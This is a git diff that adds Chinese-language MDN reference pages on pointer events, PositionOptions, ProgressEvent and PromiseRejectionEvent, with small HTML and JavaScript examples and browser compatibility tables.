diff --git a/files/zh-cn/web/api/pointer_events/index.html b/files/zh-cn/web/api/pointer_events/index.html new file mode 100644 index 0000000000..2a00f157a4 --- /dev/null +++ b/files/zh-cn/web/api/pointer_events/index.html @@ -0,0 +1,483 @@ +--- +title: Pointer events 指针事件 +slug: Web/API/Pointer_events +tags: + - API + - Pointer Events + - 交互 + - 指针事件 +translation_of: Web/API/Pointer_events +--- +

{{DefaultAPISidebar("Pointer Events")}}

+ +

目前绝大多数的Web内容都假设用户的指针定点设备为鼠标。然而,近年来的新兴设备支持更多不同方式的指针定点输入,如各类触控笔和触摸屏幕等。这就有必要扩展现存的定点设备事件模型,以有效追踪各类指针事件。 

+ +

指针事件 - Pointer events 是一类可以为定点设备所触发的DOM事件。它们被用来创建一个可以有效掌握各类输入设备(鼠标、触控笔和单点或多点的手指触摸)的统一的DOM事件模型。所谓 指针 是指一个可以明确指向屏幕上某一组坐标的硬件设备。建立这样一个单独的事件模型可以有效的简化Web站点与应用所需的工作,同时也便于提供更加一致与良好的用户体验,无需关心不同用户和场景在输入硬件上的差异。另外,对于某些需要处理特定设备的场景,指针事件也定义了一个 {{domxref("PointerEvent.pointerType","pointerType")}} 属性用以查看触发事件的设备类型。

+ +

这些事件需要能够处理 {{domxref("MouseEvent","mouse events")}} 之类较为通用的指针输入(mousedown/pointerdown, mousemove/pointermove, 等)。 因此,指针事件的类型,很大程度上类似于当前的鼠标事件类型。

+ +

此外,一个指针事件,也同时包含了鼠标事件中所常见的属性(client coordinates, target element, button states,等)以及适用于其他输入设备的新属性:pressure, contact geometry, tilt, 等等。实际上,{{domxref("PointerEvent")}} 接口继承了所有 {{domxref("MouseEvent","MouseEvent")}} 中的属性,以保障原有为鼠标事件所开发的内容能更加有效的迁移到指针事件。

+ +

相关名词

+ +
+
active buttons state
+
The condition when a pointer has a non-zero value for the buttons property. For example, in the case of a pen, when the pen has physical contact with the digitizer, or at least one button is depressed while hovering.
+
+ +
+
活跃指针 - active pointer
+
任意指针输入设备都可以产生事件。一个可以产生后继事件的指针可以被认为是一个活跃指针。例如,一个触摸笔处于压下状态时可以认为是活跃的,因为它接下来的抬起或移动都会产生额外的后继事件。
+
数位设备 - digitizer
+
一个可以检测其表面接触行为的传感设备。通常来说,其所用的传感设备是一个可以感知由某些输入设备(如触控笔、压感笔、手指等)所提供的输入信息的可触摸屏幕。
+
命中检测 - hit test
+
浏览器用以检测某一指针事件的目标元素的过程。通常来说,这一过程是通过比照出现在文档或屏幕媒介上的指针位置与视觉布局来实现的。
+
指针 - pointer
+
某个呈现形式并不确定的硬件,该硬件可以指向一个(或一组)屏幕上特定坐标。典型的指针输入设备有鼠标、触控笔、手指触控点等。
+
指针捕捉 - pointer capture
+
指针捕捉能够允许某些事件的产生。这些事件在指针将要重新指向一些并非通过命中检测而给定元素时触发。
+
指针事件 - pointer event
+
一个被指针触发DOM事件。
+
+ +

相关接口

+ +

首要的接口为 {{domxref("PointerEvent")}} 接口,该接口由一个构造函数{{domxref("PointerEvent.PointerEvent","constructor")}} 加上一些事件类型以及相应全局事件的处理方法构成。

+ +

标准中还包括一些对于 {{domxref("Element")}} 及 {{domxref("Navigator")}} 接口的扩展。接下来的每个部分包含了对于各个接口与属性的简单说明。

+ +

PointerEvent 接口

+ +

{{domxref("PointerEvent")}} 接口扩展了 {{domxref("MouseEvent")}} 接口,并含有以下属性(这些属性的可写属性全部为{{readonlyInline}})。

+ + + +

事件类型与全局事件处理

+ +

指针事件有始终不同的事件类型,其中其中在鼠标事件中有相对应的语义话表示 (down, up, move, over, out, enter, leave)。以下是每个事件类型及所对应的{{domxref("GlobalEventHandlers","Global Event Handler")}}的基本介绍。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
EventOn Event HandlerDescription
{{event('pointerover')}}{{domxref('GlobalEventHandlers.onpointerover','onpointerover')}}当定点设备进入某个元素的命中检测 范围时触发。
{{event('pointerenter')}}{{domxref('GlobalEventHandlers.onpointerenter','onpointerenter')}}当定点设备进入某个元素或其子元素的命中检测范围时,或做为某一类不支悬停(hover)状态的设备所触发的poinerdown事件的后续事件时所触发。(详情可见 pointerdown事件类型).
{{event('pointerdown')}}{{domxref('GlobalEventHandlers.onpointerdown','onpointerdown')}}当某指针得以激活时触发。
{{event('pointermove')}}{{domxref('GlobalEventHandlers.onpointermove','onpointermove')}}当某指针改变其坐标时触发。
{{event('pointerup')}}{{domxref('GlobalEventHandlers.onpointerup','onpointerup')}}当某指针不再活跃时触发。
{{event('pointercancel')}}{{domxref('GlobalEventHandlers.onpointercancel','onpointercancel')}}当浏览器认为某指针不会再生成新的后续事件时触发(例如某设备不再活跃)
{{event('pointerout')}}{{domxref('GlobalEventHandlers.onpointerout','onpointerout')}}可能由若干原因触发该事件,包括:定位设备移出了某命中检测的边界;不支持悬浮状态的设备发生pointerup事件(见pointerup事件); 作为 pointercancel event事件的后续事件(见pointercancel事件);当数位板检测到数位笔离开了悬浮区域时。
{{event('pointerleave')}}{{domxref('GlobalEventHandlers.onpointerleave','onpointerleave')}}当定点设备移出某元素的命中检测边界时触发。对于笔形设备来说,当数位板检测到笔移出了悬浮范围时触发。
{{event('gotpointercapture')}}{{domxref('GlobalEventHandlers.ongotpointercapture','ongotpointercapture')}}当某元素接受到一个指针捕捉时触发。
{{event('lostpointercapture')}}{{domxref('GlobalEventHandlers.onlostpointercapture','onlostpointercapture')}}当针对某个指针的指针捕捉得到释放时触发。
+ +

Element接口扩展

+ +

对于{{domxref("Element")}}接口有以下一些扩展:

+ + + + + +

属性 {{domxref("Navigator.maxTouchPoints")}}  被设计用来指明在同一时间点所支持的最大的触摸点数量。

+ +

例子

+ +

该部分包含了一些指针事件接口的一些基本使用案例。

+ +

注册一个事件处理器

+ +

该例子为一个特定元素的每一个事件类型注册了相应的处理器。

+ +
<html>
+  <script>
+    function over_handler(event) { }
+    function enter_handler(event) { }
+    function down_handler(event) { }
+    function move_handler(event) { }
+    function up_handler(event) { }
+    function cancel_handler(event) { }
+    function out_handler(event) { }
+    function leave_handler(event) { }
+    function gotcapture_handler(event) { }
+    function lostcapture_handler(event) { }
+
+    function init() {
+      var el=document.getElementById("target");
+      // Register pointer event handlers
+      el.onpointerover = over_handler;
+      el.onpointerenter = enter_handler;
+      el.onpointerdown = down_handler;
+      el.onpointermove = move_handler;
+      el.onpointerup = up_handler;
+      el.onpointercancel = cancel_handler;
+      el.onpointerout = out_handler;
+      el.onpointerleave = leave_handler;
+      el.gotpointercapture = gotcapture_handler;
+      el.lostpointercapture = lostcapture_handler;
+    }
+  </script>
+  <body onload="init();">
+    <div id="target"> Touch me ... </div>
+  </body>
+</html>
+
+ +

事件属性

+ +

这一例子展示了如何访问一个触摸事件的所有事件属性。

+ +
<html>
+  <script>
+    var id = -1;
+
+    function process_id(event) {
+      // Process this event based on the event's identifier
+    }
+    function process_mouse(event) {
+      // Process the mouse pointer event
+    }
+    function process_pen(event) {
+      // Process the pen pointer event
+    }
+    function process_touch(event) {
+      // Process the touch pointer event
+    }
+    function process_tilt(tiltX, tiltY) {
+      // Tilt data handler
+    }
+    function process_pressure(pressure) {
+      // Pressure handler
+    }
+    function process_non_primary(event) {
+      // Pressure handler
+    }
+
+    function down_handler(ev) {
+      // Calculate the touch point's contact area
+      var area = ev.width * ev.height;
+
+      // Compare cached id with this event's id and process accordingly
+      if (id == ev.identifier) process_id(ev);
+
+      // Call the appropriate pointer type handler
+      switch (ev.pointerType) {
+        case "mouse":
+          process_mouse(ev);
+          break;
+        case "pen":
+          process_pen(ev);
+          break;
+        case "touch":
+          process_touch(ev);
+          break;
+        default:
+        console.log("pointerType " + ev.pointerType + " is Not suported");
+      }
+
+      // Call the tilt handler
+      if (ev.tiltX != 0 && ev.tiltY != 0) process_tilt(ev.tiltX, ev.tiltY);
+
+      // Call the pressure handler
+      process_pressure(ev.pressure);
+
+      // If this event is not primary, call the non primary handler
+      if (!ev.isPrimary) process_non_primary(evt);
+    }
+
+    function init() {
+      var el=document.getElementById("target");
+      // Register pointerdown handler
+      el.onpointerdown = down_handler;
+    }
+  </script>
+  <body onload="init();">
+    <div id="target"> Touch me ... </div>
+  </body>
+</html>
+
+ +

确定首选指针

+ +

在很多场景中,可能存在多个指针(比如某设备同时拥有触摸屏和鼠标)或者一个指针设备支持多个接触点(例如支持多点触控的触摸屏)。应用开发时,可以使用{{domxref("PointerEvent.isPrimary","isPrimary")}}属性来识别每类指针的一组指针输入中的主要指针。如果应用仅希望对首选指针提供支持,则可以忽略其他的指针事件。

+ +

对于鼠标来说,只有一个指针输入,所以这一输入将一直是首选指针。对于触摸输入来说,当用户在触摸屏幕,且没有其他活跃指针时,会被认做首选指针。对于压感笔输入来说,当用户的笔触开始接触屏幕或平面,且当时没有其他的活跃笔触在接触屏幕时,该输入将被认作首选指针。

+ +

确定按钮状态

+ +

对于某些指针设备来说,比如鼠标或者压感笔,设备上可能有一个或多个按钮可以同时或依次序按动。比如在某个按钮释放后立刻按下其他按钮。为了确定这些按钮的按压状态,指针事件使用{{domxref("MouseEvent.button","button")}}与 {{domxref("MouseEvent.buttons","buttons")}}等{{domxref("MouseEvent")}}接口中的事件 ({{domxref("PointerEvent")}}继承于此)表明相应的状态。下表提供了各类设备的按钮状态与button和buttons属性的属性值对应关系。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
设备按钮状态buttonbuttons
自上次事件后,按键、触摸或笔的接触状态没有改变-1
鼠标移动且无按钮被按压0
鼠标左键、触摸接触、压感笔接触(无额外按钮被按压)01
鼠标中键14
鼠标右键、压感笔笔杆按钮被按压22
鼠标X1(前进)38
鼠标X2(后退)416
压感笔橡皮擦按钮被按压5 +

32

+
+ +
+

Notice: The button property indicates a change in the state of the button. However, as in the case of touch, when multiple events occur with one event, all of them have the same value.

+
+ +

指针捕捉

+ +

指针捕捉允许将某一指针事件,重新指向到一个特定元素,而非经由针对其位置进行命中检测所确定的目标元素。指针捕捉可以用来保证某一元素持续接收到指针事件,即使指针设备的接触点已经离开了元素本身(比如滚动时)。

+ +

以下例子展示了向某一元素设置指针捕捉的过程:

+ +
<html>
+<script>
+  function downHandler(ev) {
+    var el=document.getElementById("target");
+    //Element 'target' will receive/capture further events
+    el.setPointerCapture(ev.pointerId);
+  }
+
+  function init() {
+    var el=document.getElementById("target");
+    el.onpointerdown = downHandler;
+  }
+</script>
+<body onload="init();">
+  <div id="target"> Touch me ... </div>
+</body>
+</html>
+
+ +

以下例子展示了当{{event("pointercancel")}} 事件发生时,一个指针捕捉被释放对的过程。该例子中,浏览器在{{event("pointerup")}}或{{event("pointercancel")}}事件发生时,会自动执行这一释放。

+ +
<html>
+  <script>
+    function downHandler(ev) {
+      var el=document.getElementById("target");
+      // Element "target" will receive/capture further events
+      el.setPointerCapture(ev.pointerId);
+    }
+
+    function cancelHandler(ev) {
+      var el=document.getElementById("target");
+      // Release the pointer capture
+      el.releasePointerCapture(ev.pointerId);
+    }
+
+    function init() {
+      var el=document.getElementById("target");
+      // Register pointerdown and pointercancel handlers
+      el.onpointerdown = downHandler;
+      el.onpointercancel = cancelHandler;
+    }
+  </script>
+  <body onload="init();">
+    <div id="target"> Touch me ... </div>
+  </body>
+</html>
+
+ +

touch-action CSS属性

+ +

CSS属性{{cssxref("touch-action")}}被用来指明浏览器是否应当对某一区域的触摸事件应用其默认行为(例如放大或旋转等)。这一属性可以被用在所有元素上,除了:不可替换的行内元素(inline elements)、表格行(table rows)、行组(row groups)、表格列(table columns)、列组(column groups)。

+ +

属性值auto意味着浏览器可以自由应用其默认的触摸行为(对于特定区域),属性值none则会禁止某一区域的浏览器默认触摸行为。 属性值pan-xpan-y表示由某区域开始的触摸操作仅分别产生水平的或垂直的滚动。属性值manipulation表示希望浏览器认为某元素上的触摸行为仅用于滚动或放大。

+ +

在下面的示例中,浏览器对于div元素的默认触摸响应行为将被禁止。

+ +
<html>
+  <body>
+    <div style="touch-action:none;">Can't touch this ... </div>
+  </body>
+</html>
+
+ +

在下面的示例中,某些button元素的默认触摸响应行为将被禁止。

+ +
button#tiny {
+  touch-action: none;
+}
+
+ +

在下面的示例中,当target 元素被触摸时,仅允许响应其在水平方向上的滚动。

+ +
#target {
+  touch-action: pan-x;
+}
+
+ +

与鼠标事件的兼容性

+ +

尽管指针事件接口允许应用程序去为各种指针输入设备创建更佳的用户体验,但事实上,目前的大多数web内容仍然是仅为支持鼠标输入而设计的。因此,即使一个浏览器支持了指针事件,它也仍然需要在这些仅支持鼠标设置网页在不做任何修改的情况下继续对其提供支持。理想情况下,通用的指针模型将使得应用不再需要专门为鼠标输入设计相应。然而,因为浏览器仍必须处理鼠标事件,所以可能仍留存一些需要加以处理的兼容性问题。这一部分包含了一些对于开发者可能有用的关于鼠标事件和指针事件的异同点。

+ +

出于对基于鼠标的内容的兼容性考虑,浏览器会将通用的指针事件映射成相应的鼠标事件。 这一事件映射被乘坐兼容性鼠标事件。开发者可以通过取消pointerdown事件相应来阻止某一特定的兼容性鼠标事件的产生,但需要注意以下情况:

+ + + +

最佳实践

+ +

这里有一些在使用指针事件时候可以参考的最佳实践:

+ + + +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Pointer Events 3')}}{{Spec2('Pointer Events 3')}}为 getCoalescedEvent 和 getPredictedEvents 加入新的 API,新的 pointerrawupdate 事件,额外的 touch-action 属性:pan-leftpan-rightpan-uppan-down
{{SpecName('Pointer Events 2')}}{{Spec2('Pointer Events 2')}}加入 hasPointerCapture 方法,澄清更多边界情况和动态场景。
{{SpecName('Pointer Events')}}{{Spec2('Pointer Events')}}初始定义
+ +

浏览器兼容性

+ +

{{Compat("api.PointerEvent")}}

+ +

在 {{SpecName('Pointer Events 3')}} 规范中,{{cssxref("touch-action", "CSS touch-action")}} 定义了一些新的值,但目前支持这些新值的浏览器实现很有限。

+ +

演示和示例

+ + + +

社区资源

+ + + +

相关主题与资源

+ + diff --git a/files/zh-cn/web/api/pointerevent/index.html b/files/zh-cn/web/api/pointerevent/index.html new file mode 100644 index 0000000000..bd9e246ff2 --- /dev/null +++ b/files/zh-cn/web/api/pointerevent/index.html @@ -0,0 +1,135 @@ +--- +title: PointerEvent +slug: Web/API/PointerEvent +translation_of: Web/API/PointerEvent +--- +

{{ APIRef("Pointer Events") }}

+ +

PointerEvent 接口代表了由 指针 引发的DOM事件的状态,包括接触点的位置,引发事件的设备类型,接触表面受到的压力等。

+ +

指针 是输入设备的硬件层抽象(比如鼠标,触摸笔,或触摸屏上的一个触摸点)。指针 能指向一个具体表面(如屏幕)上的一个(或一组)坐标。

+ +

指针的 击中检测 指浏览器用来检测 指针事件的目标元素的过程。大多数情况下,这个目标元素是由 指针的位置和元素在文章中的位置和分层共同决定的。

+ +

Constructors

+ +
+
{{domxref("PointerEvent.PointerEvent", "PointerEvent()")}}
+
创建一个合成的且不可信的 PointerEvent。
+
+ +

Properties

+ +

该接口属性继承自 {{domxref("MouseEvent")}} 和 {{domxref("Event")}}.

+ +
+
{{ domxref('PointerEvent.pointerId')}} {{readonlyInline}}
+
触发事件的 pointer 的唯一标识符。
+
{{ domxref('PointerEvent.width')}} {{readonlyInline}}
+
Pointer 的接触面的 CSS 像素宽度(X轴上的大小)。
+
{{ domxref('PointerEvent.height')}} {{readonlyInline}}
+
Pointer 的接触面的 CSS 像素高度(Y轴上的大小)。
+
{{ domxref('PointerEvent.pressure')}} {{readonlyInline}}
+
归一化后的 pointer 压力值,范围在 [0,1] 区间。其中 0 和 1 分别代表硬件能够检测的最小和最大压力。
+
{{ domxref('PointerEvent.tangentialPressure')}} {{readonlyInline}}
+
归一化后的切向压力值(也称为桶压或cylinder stress),范围在 [-1, 1] 区间,0表示控制设备中立状态时的值。
+
{{ domxref('PointerEvent.tiltX')}} {{readonlyInline}}
+
由输入设备(如手写笔)与 Y 轴构成的平面,和 Y-Z 平面之间的夹角(取值在 [-90, 90] 区间)。
+
{{ domxref('PointerEvent.tiltY')}} {{readonlyInline}}
+
由输入设备(如手写笔)与 X 轴构成的平面,和 X-Z 平面之间的夹角(取值在 [-90, 90] 区间)。
+
{{ domxref('PointerEvent.twist')}} {{readonlyInline}}
+
输入设备(如手写笔)围绕自身主轴顺时针旋转的角度,取值范围是 [0, 359] 度。
+
{{ domxref('PointerEvent.pointerType')}} {{readonlyInline}}
+
表示触发事件的设备类型(鼠标,触控笔,触摸板等)。
+
{{ domxref('PointerEvent.isPrimary')}} {{readonlyInline}}
+
标识一个 pointer 是否是当前设备类型的主 pointer。
+
+ +

Pointer event types

+ +

The PointerEvent interface has several event types. To determine which event fired, look at the event's {{ domxref("Event.type", "type") }} property.

+ +
Note: It's important to note that in many cases, both pointer and mouse events get sent (in order to let non-pointer-specific code still interact with the user). If you use pointer events, you should call {{ domxref("event.preventDefault()") }} to keep the mouse event from being sent as well.
+ +
+
{{event('pointerover')}}
+
This event is fired when a pointing device is moved into an element's hit test boundaries.
+
{{event('pointerenter')}}
+
This event is fired when when a pointing device is moved into the hit test boundaries of an element or one of its descendants, including as a result of a pointerdown event from a device that does not support hover (see pointerdown). This event type is similar to pointerover, but differs in that it does not bubble.
+
{{event('pointerdown')}}
+
The event is fired when a pointer becomes active. For mouse, it is fired when the device transitions from no buttons depressed to at least one button depressed. For touch, it is fired when physical contact is made with the digitizer. For pen, it is fired when the stylus makes physical contact with the digitizer.
+
{{event('pointermove')}}
+
This event is fired when a pointer changes coordinates.
+
{{event('pointerup')}}
+
This event is fired when a pointer is no longer active.
+
{{event('pointercancel')}}
+
A browser fires this event if it concludes the pointer will no longer be able to generate events (for example the related device is deactived).
+
{{event('pointerout')}}
+
This event is fired for several reasons including: pointing device is moved out of the hit test boundaries of an element; firing the pointerup event for a device that does not support hover (see pointerup); after firing the pointercancel event (see pointercancel); when a pen stylus leaves the hover range detectable by the digitizer.
+
{{event('pointerleave')}}
+
This event is fired when a pointing device is moved out of the hit test boundaries of an element. For pen devices, this event is fired when the stylus leaves the hover range detectable by the digitizer.
+
{{event('gotpointercapture')}}
+
This event is fired when an element receives pointer capture.
+
{{event('lostpointercapture')}}
+
This event is fired after pointer capture is released for a pointer.
+
+ +

GlobalEventHandlers

+ +
+
{{ domxref('GlobalEventHandlers.onpointerover') }}
+
A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('pointerover')}} event.
+
{{ domxref('GlobalEventHandlers.onpointerenter') }}
+
A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('pointerenter')}} event.
+
{{ domxref('GlobalEventHandlers.onpointerdown') }}
+
A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('pointerdown')}} event.
+
{{ domxref('GlobalEventHandlers.onpointermove') }}
+
A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('pointermove')}} event.
+
{{ domxref('GlobalEventHandlers.onpointerup') }}
+
A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('pointerup')}} event.
+
{{ domxref('GlobalEventHandlers.onpointercancel') }}
+
A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('pointercancel')}} event.
+
{{ domxref('GlobalEventHandlers.onpointerout') }}
+
A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('pointerout')}} event.
+
{{ domxref('GlobalEventHandlers.onpointerleave') }}
+
A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('pointerleave')}} event.
+
+ +

Example

+ +

An Example of each property, event type and global event handler is included in their respective reference page.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Pointer Events 2','#pointerevent-interface', 'PointerEvent')}}{{Spec2('Pointer Events 2')}}Non-stable version.
{{SpecName('Pointer Events', '#pointerevent-interface', 'PointerEvent')}}{{Spec2('Pointer Events')}}Initial definition.
+ +

Browser compatibility

+ +

{{Compat("api.PointerEvent")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/positionoptions/index.html b/files/zh-cn/web/api/positionoptions/index.html new file mode 100644 index 0000000000..43932e7322 --- /dev/null +++ b/files/zh-cn/web/api/positionoptions/index.html @@ -0,0 +1,112 @@ +--- +title: PositionOptions +slug: Web/API/PositionOptions +tags: + - API + - Geolocation API + - Interface + - NeedsTranslation + - Reference + - TopicStub +translation_of: Web/API/PositionOptions +--- +
{{APIRef("Geolocation API")}}
+ +

PositionOptions 是一个作为 Geolocation.getCurrentPosition()方法 以及 Geolocation.watchPosition() 方法参数的选项,此选项含有3种可以设置的属性。

+ +

属性

+ +

PositionOptions 接口不继承任何属性。

+ +
+
{{domxref("PositionOptions.enableHighAccuracy")}}
+
是一个 {{domxref("Boolean")}} 值。这个布尔值用来表明应用是否使用其最高精度来表示结果。如果值为 true ,同时设备能够提供一个更精确的位置,那么设备就会使用这个位置。注意,这会导致较慢的响应时间或者增加电量消耗(比如对于支持gps的移动设备来说)。如果值为false ,设备会通过更快响应以及/或者使用更少的电量等方法来尽可能的节约资源。默认值: false
+
{{domxref("PositionOptions.timeout")}}
+
的值是一个正的 long 值。它表明的是设备必须在多长时间(单位毫秒)内返回一个位置。默认值是 Infinity,意思是获取到一个位置之后, getCurrentPosition() 才会返回一个值。
+
{{domxref("PositionOptions.maximumAge")}}
+
是一个正的 long 值。它表明可以返回多长时间(即最长年龄,单位毫秒)内的可获取的缓存位置。如果设置为 0, 说明设备不能使用一个缓存位置,而且必须去获取一个真实的当前位置。如果设置为 Infinity ,那么不管设置的最长年龄是多少,设备都必须返回一个缓存位置。默认值:0。
+
+ +

方法

+ +

PositionOptions 接口既不实现,也不继承任何方法。

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态Commet
{{SpecName('Geolocation', '#positionoptions', 'PositionOptions')}}{{Spec2('Geolocation')}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{CompatGeckoDesktop("1.9.1")}}910.60
+ {{CompatNo}} 15.0
+ 16.0
5
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("4")}}{{CompatUnknown}}10.60{{CompatUnknown}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/positionoptions/timeout/index.html b/files/zh-cn/web/api/positionoptions/timeout/index.html new file mode 100644 index 0000000000..0362db0249 --- /dev/null +++ b/files/zh-cn/web/api/positionoptions/timeout/index.html @@ -0,0 +1,95 @@ +--- +title: PositionOptions.timeout +slug: Web/API/PositionOptions/timeout +tags: + - API +translation_of: Web/API/PositionOptions/timeout +--- +
{{APIRef("Geolocation API")}}
+ +

PositionOptions.timeout 属性是一个 long 型正数,它代表机器能够等待方法返回位置的最长时间(单位是毫秒)。预设值是 Infinity,这意味着 getCurrentPosition () 此方法在没有可用的位置前不会有任何回复。

+ +

语法

+ +
positionOptions.timeout = timeLength
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation', '#timeout', 'PositionOptions.timeout')}}{{Spec2('Geolocation')}}初始定义
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{CompatGeckoDesktop("1.9.1")}}910.60
+ {{CompatNo}} 15.0
+ 16.0
5
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("4")}}{{CompatUnknown}}10.60{{CompatUnknown}}
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/progressevent/index.html b/files/zh-cn/web/api/progressevent/index.html new file mode 100644 index 0000000000..b889227df2 --- /dev/null +++ b/files/zh-cn/web/api/progressevent/index.html @@ -0,0 +1,94 @@ +--- +title: ProgressEvent +slug: Web/API/ProgressEvent +tags: + - API + - 参考 + - 接口 + - 进度事件 +translation_of: Web/API/ProgressEvent +--- +
{{APIRef("DOM Events")}}
+ +

ProgressEvent 接口是测量如 HTTP 请求(一个XMLHttpRequest,或者一个 {{HTMLElement("img")}},{{HTMLElement("audio")}},{{HTMLElement("video")}},{{HTMLElement("style")}} 或 {{HTMLElement("link")}} 等底层资源的加载)等底层流程进度的事件。

+ +

{{InheritanceDiagram}}

+ +

构造方法

+ +
+
{{domxref("ProgressEvent.ProgressEvent", "ProgressEvent()")}}
+
用给定的参数创建一个 ProgressEvent 事件。
+
+ +

属性

+ +

同时继承它的父元素 {{domxref("Event")}} 的属性。

+ +
+
{{domxref("ProgressEvent.lengthComputable")}} {{readonlyInline}}
+
是一个 {{domxref("Boolean")}} 标志,表示底层流程将需要完成的总工作量和已经完成的工作量是否可以计算。换句话说,它告诉我们进度是否可以被测量。
+
{{domxref("ProgressEvent.loaded")}} {{readonlyInline}}
+
是一个 unsigned long long 类型数据,表示底层流程已经执行的工作总量。可以用这个属性和 ProgressEvent.total 计算工作完成比例。当使用 HTTP 下载资源,它只表示内容本身的部分,不包括首部和其它开销。
+
{{domxref("ProgressEvent.total")}} {{readonlyInline}}
+
是一个 unsigned long long 类型数据,表示正在执行的底层流程的工作总量。当使用 HTTP 下载资源,它只表示内容本身的部分,不包括首部和其它开销。
+
+ +

方法

+ +
+
+ +

同时继承它的父元素 {{domxref("Event")}} 的方法。

+ +
+
{{domxref("ProgressEvent.initProgressEvent()")}} {{deprecated_inline}}{{non-Standard_inline}}
+
使用被弃用的 {{domxref("Document.createEvent()", "Document.createEvent(\"ProgressEvent\")")}} 方法,来初始化一个已经创建好的 ProgressEvent
+
+ +

示例

+ +

下面的示例为一个新建的 {{domxref("XMLHTTPRequest")}} 添加了一个 ProgressEvent,并使用它来显示请求状态。

+ +
var progressBar = document.getElementById("p"),
+    client = new XMLHttpRequest()
+client.open("GET", "magical-unicorns")
+client.onprogress = function(pe) {
+  if(pe.lengthComputable) {
+    progressBar.max = pe.total
+    progressBar.value = pe.loaded
+  }
+}
+client.onloadend = function(pe) {
+  progressBar.value = pe.loaded
+}
+client.send()
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注解
{{SpecName('XMLHttpRequest', '#interface-progressevent', 'ProgressEvent')}}{{Spec2('XMLHttpRequest')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.ProgressEvent")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/progressevent/lengthcomputable/index.html b/files/zh-cn/web/api/progressevent/lengthcomputable/index.html new file mode 100644 index 0000000000..e68ad4f42e --- /dev/null +++ b/files/zh-cn/web/api/progressevent/lengthcomputable/index.html @@ -0,0 +1,89 @@ +--- +title: ProgressEvent.lengthComputable +slug: Web/API/ProgressEvent/lengthComputable +translation_of: Web/API/ProgressEvent/lengthComputable +--- +

{{APIRef("DOM Events")}}

+ +

ProgressEvent.lengthComputable 只读属性是一个布尔{{domxref("Boolean")}} 标志,表示{{domxref("ProgressEvent")}} 所关联的资源是否具有可以计算的长度。否则 ,{{domxref("ProgressEvent.total")}} 属性将是一个无意义的值。

+ +

语法

+ +
flag = ProgressEvent.lengthComputable
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('XMLHttpRequest', '#dom-progressevent-lengthcomputable', 'ProgressEvent.lengthComputable')}}{{Spec2('XMLHttpRequest')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.1")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatVersionUnknown}}{{CompatGeckoMobile("1.9.1")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/promiserejectionevent/index.html b/files/zh-cn/web/api/promiserejectionevent/index.html new file mode 100644 index 0000000000..997aa87b43 --- /dev/null +++ b/files/zh-cn/web/api/promiserejectionevent/index.html @@ -0,0 +1,124 @@ +--- +title: PromiseRejectionEvent +slug: Web/API/PromiseRejectionEvent +translation_of: Web/API/PromiseRejectionEvent +--- +
{{APIRef("HTML DOM")}}
+ +

PromiseRejectionEvent 接口表示出现在JavaScript {{jsxref("Promise")}}s 被rejecte (拒绝) 时触发的事件。这些事件对遥测(远程测试)和调试特别的有用。

+ +

构造函数

+ +
+
{{domxref("PromiseRejectionEvent.PromiseRejectionEvent", "PromiseRejectionEvent()")}}
+
用给定的参数生成一个 PromiseRejectionEvent 事件。
+
+ +

属性

+ +

也从它的父级{{domxref("Event")}}继承属性。

+ +
+
{{domxref("PromiseRejectionEvent.promise")}} {{readOnlyInline}}
+
被 rejected 的 JavaScript {{jsxref("Promise")}} 。
+
{{domxref("PromiseRejectionEvent.reason")}} {{readOnlyInline}}
+
一个值或 {{jsxref("Object")}} 表明为什么 promise 被 rejected,并传递给{{jsxref("Promise.reject()")}}。
+
+ +

方法

+ +

没有特定的方法; 从它的父级 {{domxref("Event")}}继承方法。

+ +

事件

+ +
+
{{Event("unhandledrejection")}}
+
在一个JavaScript {{jsxref("Promise")}} 被 reject(拒绝) 但是没有 reject 处理函数来处理时触发。
+
{{Event("rejectionhandled")}}
+
